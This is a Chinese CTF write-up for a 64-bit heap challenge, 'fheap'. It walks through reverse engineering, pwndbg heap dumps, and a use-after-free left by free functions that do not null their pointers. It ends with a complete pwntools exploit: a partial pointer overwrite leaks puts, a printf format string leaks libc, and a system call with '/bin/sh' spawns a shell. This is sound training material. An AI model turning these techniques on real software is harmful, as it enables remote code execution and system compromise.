fheap
循环输入
64位,dynamically,全开
逻辑简单的程序
函数“create”:
程序出现了栈指针异常的错误:(可能掺入了花指)
解决方法如下:
在“0x12AA”处:用“P”创建函数,用“F5”进行反汇编
就是一段执行读操作的代码
先申请“0x20”字节大小的chunk:ptr
然后read读入输出长度:nbytes
输入“input”,获取“input”的实际长度,如果长度大于 “0xf” 就重新“malloc”一个chunk来存储“input”,否则就直接装入“ptr” (最多可以create16次)
函数“delete”:
没有用“free”,这个“unk_4040”无法识别
动态调试
IDA静态分析不能很好地体现程序的流程,先用GDB分析一下
输入值小于“0xf”:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x291
Allocated chunk | PREV_INUSE Addr: 0x555555559290 Size: 0x31
Allocated chunk | PREV_INUSE Addr: 0x5555555592c0 Size: 0x31
Top chunk | PREV_INUSE Addr: 0x5555555592f0 Size: 0x20d11
pwndbg> x/20xg 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000031 0x5555555592a0: 0x0000616161616161 0x0000000000000000 0x5555555592b0: 0x0000000000000006 0x000055555555549c 0x5555555592c0: 0x0000000000000000 0x0000000000000031 0x5555555592d0: 0x0000616161616161 0x0000000000000000 0x5555555592e0: 0x0000000000000006 0x000055555555549c 0x5555555592f0: 0x0000000000000000 0x0000000000020d11
|
输入值大于“0xf”:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x555555559000 Size: 0x291
Allocated chunk | PREV_INUSE Addr: 0x555555559290 Size: 0x31
Allocated chunk | PREV_INUSE Addr: 0x5555555592c0 Size: 0x21
Allocated chunk | PREV_INUSE Addr: 0x5555555592e0 Size: 0x31
Allocated chunk | PREV_INUSE Addr: 0x555555559310 Size: 0x21
Top chunk | PREV_INUSE Addr: 0x555555559330 Size: 0x20cd1
pwndbg> x/100xg 0x555555559290 0x555555559290: 0x0000000000000000 0x0000000000000031 0x5555555592a0: 0x00005555555592d0 0x0000000000000000 0x5555555592b0: 0x0000000000000011 0x00005555555554bb 0x5555555592c0: 0x0000000000000000 0x0000000000000021 0x5555555592d0: 0x6161616161616161 0x6161616161616161 0x5555555592e0: 0x000000000000000a 0x0000000000000031 0x5555555592f0: 0x0000555555559320 0x0000000000000000 0x555555559300: 0x0000000000000011 0x00005555555554bb 0x555555559310: 0x0000000000000000 0x0000000000000021 0x555555559320: 0x6262626262626262 0x6262626262626262 0x555555559330: 0x000000000000000a 0x0000000000020cd1
|
小于“0xf”时:直接把“input”写到自己的数据区
0x000055555555549c:“free_one”
1 2 3 4
| void __fastcall free_one(void *a1) { free(a1); }
|
大于“0xf”时:先malloc一个chunk,然后把malloc出来的地址,写到自己的数据区
0x00005555555554bb:“free_double”
1 2 3 4 5 6 7 8
| int __fastcall free_double(int **a1) { int result;
free(*a1); free(a1); return result; }
|
入侵思路
没有栈溢出,有UAF漏洞(“free_one”和“free_double”都不置空指针)
先搭好框架:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| def add(size,content): p.recvuntil("3.quit\n") p.sendline("create string") p.recvuntil("size:") p.sendline(str(size)) p.recvuntil("str:") p.send(content) def delete(id): p.recvuntil("3.quit\n") p.sendline("delete string") p.recvuntil("id:") p.sendline(str(id)) p.recvuntil("sure?:") p.sendline('yes')
|
问题的关键就是“free_one”这个函数:
1 2 3
| 0x5555555592c0: 0x0000000000000000 0x0000000000000031 0x5555555592d0: 0x0000616161616161 0x0000000000000000 0x5555555592e0: 0x0000000000000006 0x000055555555549c
|
“free_one”位于“chunk2 + 5”这个位置,它不属于“chunk2”,所以在“chunk2”被“free”的时候,它是不受影响的,因此“free_one”遗留在了“chunk2”中
如果利用UAF就可以把“chunk2”作为“chunk1”的“chunk1_data”:
1 2 3 4 5 6 7 8 9 10
| add(8,'a'*8) add(8,'b'*8) delete(0) delete(1)
call_puts_addr = '\x69' + '\x00' payload = 'a'*0x18 + call_puts_addr add(len(payload),payload)
delete(1)
|
1 2 3 4 5 6 7 8
| pwndbg> x/20xg 0x55ee908bc290 0x55ee908bc290: 0x0000000000000000 0x0000000000000031 0x55ee908bc2a0: 0x000055ee908bc2d0 0x0000000000000000 0x55ee908bc2b0: 0x0000000000000019 0x000055ee8f38e4bb 0x55ee908bc2c0: 0x0000000000000000 0x0000000000000031 0x55ee908bc2d0: 0x6161616161616161 0x6161616161616161 0x55ee908bc2e0: 0x6161616161616161 0x000055ee8f38e469 0x55ee908bc2f0: 0x0000000000000000 0x0000000000020d11
|
因为“chunk2”的指针并没有被置空,所以可以使用“delete(1)”操作“chunk2”,而遗留在“chunk2”中的“free_one”会被覆盖低字节为“puts”,泄露了内存数据
// 这里只能覆盖最后两位(溢出1字节),因为开了PIE只有最后3位固定
“free_one”原本的参数就是“chunk1_data”,现在改成了“pust”
1 2 3 4
| p.recvuntil('a'*24) puts_addr=u64(p.recvuntil('1')[:-2].ljust(8,'\x00'))
success('puts_addr >> '+hex(puts_addr))
|
可以顺势获“pro_base”,获取“printf_plt”,再利用“printf”格式化字符串来泄露“libc_base”
1 2 3
| delete(0) payload = '%33$p'.ljust(0x18,'a') + p64(printf_plt) add(len(payload),payload)
|
1 2 3 4 5 6 7 8
| pwndbg> telescope 0x55fa4c41a2c0 00:0000│ 0x55fa4c41a2c0 ◂— 0x0 01:0008│ 0x55fa4c41a2c8 ◂— 0x31 02:0010│ 0x55fa4c41a2d0 ◂— 0x6161617024323225 ('%22$paaa') 03:0018│ 0x55fa4c41a2d8 ◂— 0x6161616161616161 ('aaaaaaaa') 04:0020│ 0x55fa4c41a2e0 ◂— 0x6161616161616161 ('aaaaaaaa') 05:0028│ 0x55fa4c41a2e8 —▸ 0x55fa4af3d174 (printf@plt+4) ◂— bnd jmp qword ptr [rip + 0x2e1d] 06:0030│ 0x55fa4c41a2f0 ◂— 0x0
|
发现泄露出来的地址和“libc_base”的差值固定,从而获取“libc_base”:
1 2 3 4 5
| In [9]: 0x7f02d59a86a0-0x7f02d57bc000 Out[9]: 2016928
In [10]: hex(2016928) Out[10]: '0x1ec6a0'
|
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| from pwn import*
p=process('./fheap') elf=ELF('./fheap') libc=ELF('./libc-2.31.so')
def add(size,content): p.recvuntil("3.quit\n") p.sendline("create string") p.recvuntil("size:") p.sendline(str(size)) p.recvuntil("str:") p.send(content) def delete(id): p.recvuntil("3.quit\n") p.sendline("delete string") p.recvuntil("id:") p.sendline(str(id)) p.recvuntil("sure?:") p.sendline('yes')
add(8,'a'*8) add(8,'b'*8) delete(1) delete(0)
call_puts_addr = '\x69' + '\x00' payload = 'a'*0x18 + call_puts_addr add(len(payload),payload) delete(1)
p.recvuntil('a'*24) puts_addr=u64(p.recvuntil('1')[:-2].ljust(8,'\x00'))
success('puts_addr >> '+hex(puts_addr))
pro_base=puts_addr-0x1469 success('pro_base >> '+hex(pro_base)) printf_plt=pro_base+elf.plt['printf'] success('printf_plt >> '+hex(printf_plt))
delete(0) payload = '%33$p'.ljust(0x18,'a') + p64(printf_plt) add(len(payload),payload) delete(1)
leak_addr=eval(p.recv(14)) success('leak_addr >> '+hex(leak_addr)) libc_base=leak_addr-0x1ec6a0 success('libc_base >> '+hex(libc_base)) system_libc=libc.sym['system']+libc_base
delete(0) payload = '/bin/sh||'.ljust(0x18,'a') + p64(system_libc) add(len(payload),payload) delete(1)
p.interactive()
|